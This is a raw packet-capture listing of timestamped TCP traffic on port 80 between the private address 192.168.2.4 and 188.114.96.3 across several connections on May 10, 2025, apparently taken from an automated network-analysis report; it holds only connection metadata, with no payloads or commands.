May 10, 2025 08:05:43.989180088 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989195108 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989239931 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989253998 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.130054951 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.319427967 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.319542885 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.319708109 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.349045038 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.444717884 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.489834070 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.585706949 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.585860014 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.586924076 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.727705956 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727727890 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727742910 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727757931 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727771997 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727797985 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727868080 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.727869987 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.727940083 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.728013992 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.869172096 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869194031 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869231939 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869246006 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869259119 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869273901 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869318962 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869334936 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:44.869349003 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:44.869518042 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011276007 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011296988 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011312008 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011326075 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011339903 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011353970 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011351109 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011382103 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011398077 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011411905 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011425972 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011440039 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011447906 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011518002 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011533976 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011548042 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011557102 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011560917 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011576891 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011590958 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011605024 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011619091 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011624098 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011631966 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011646032 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011658907 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011672974 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011684895 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011687040 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011701107 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011715889 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011730909 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011737108 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011744976 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011759043 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011771917 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.011801958 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.011847973 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.154582024 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154674053 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154706001 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154737949 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154769897 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154800892 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154831886 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154864073 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154879093 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.154894114 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154943943 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.154975891 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155005932 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155035019 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155066967 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155097008 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155128002 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155148029 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.155158043 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155188084 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155219078 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.155287981 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.155445099 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.155560970 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.302668095 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302719116 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302736998 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302752018 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302767038 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302782059 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302795887 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302810907 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302841902 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302856922 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302871943 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302901983 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302982092 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.302998066 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303011894 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303025961 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303040028 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303060055 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303073883 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303108931 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303139925 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303155899 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303169966 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303201914 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303234100 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303252935 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.303265095 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303297043 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303327084 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303356886 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303385973 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303417921 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303448915 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303479910 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303510904 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303541899 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303571939 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303601980 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303631067 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303653002 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.303661108 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303693056 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303723097 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303755999 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303786039 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303788900 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.303817034 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303848982 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303880930 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303880930 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.303910017 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303941965 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.303972006 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304003954 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304025888 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304034948 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304068089 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304073095 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304100037 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304112911 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304130077 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304152966 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304162025 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304187059 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304193020 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304219961 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.304223061 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304271936 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304303885 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304333925 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304363012 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304394007 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304425955 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304455042 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304491043 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304521084 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304553032 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304583073 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304613113 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304642916 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304672956 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304702997 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304733038 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304768085 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304797888 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304828882 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304858923 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304889917 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304919958 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304950953 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.304981947 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305015087 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305046082 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305075884 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305107117 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305134058 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305138111 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305169106 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305190086 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305202007 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305224895 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305232048 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305263042 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305277109 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305294991 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305314064 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305325031 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305355072 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305386066 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305417061 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305447102 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305476904 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305507898 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305537939 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305569887 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305594921 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305598974 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305624008 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305632114 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.305641890 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.305685997 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452162981 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452214956 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452276945 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452334881 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452368975 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452402115 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452431917 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452438116 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452466011 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452497005 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452528954 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452537060 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452559948 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452590942 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452622890 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452625990 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452653885 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452686071 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452718973 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452721119 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452752113 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452784061 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452789068 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:45.452816963 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452848911 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452882051 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452913046 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452943087 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.452972889 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453006029 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453037024 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453068018 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453098059 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453129053 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453159094 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453187943 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453202963 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453233957 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453270912 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453300953 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453331947 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453363895 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453394890 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453424931 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453455925 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453485966 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453520060 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453550100 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453581095 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453610897 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453644037 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453675032 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453706026 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453738928 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453773975 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453810930 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453841925 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453871965 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453902960 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453933954 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453964949 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.453996897 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454027891 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454057932 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454087973 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454119921 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454150915 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454181910 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454211950 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454245090 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454276085 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454307079 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454336882 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454366922 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454400063 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454430103 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454459906 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454489946 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454521894 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454552889 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454583883 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454613924 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454644918 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454677105 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454706907 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454736948 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454768896 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454797983 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454829931 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454860926 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454891920 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454921961 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454952002 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.454982996 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.455013990 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.455044985 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596087933 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596121073 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596137047 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596153021 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596168995 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596184015 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596199036 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596214056 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596232891 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596247911 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596278906 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596295118 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:45.596309900 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.166557074 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.167561054 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.167644978 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.188499928 CEST	49728	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.229557991 CEST	49729	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.329539061 CEST	80	49728	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.370872974 CEST	80	49729	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.370997906 CEST	49729	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.381714106 CEST	49729	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.522579908 CEST	80	49729	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.677840948 CEST	80	49729	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.677974939 CEST	80	49729	188.114.96.3	192.168.2.4
May 10, 2025 08:05:46.678030968 CEST	49729	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.702008963 CEST	49729	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:46.842921972 CEST	80	49729	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.092159986 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.233030081 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.233289957 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.233824968 CEST	49730	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:48.375026941 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375091076 CEST	80	49730	188.114.96.3	192.168.2.4
May 10, 2025 08:05:48.375124931 CEST	80	49730	188.114.96.3	192.168.2.4
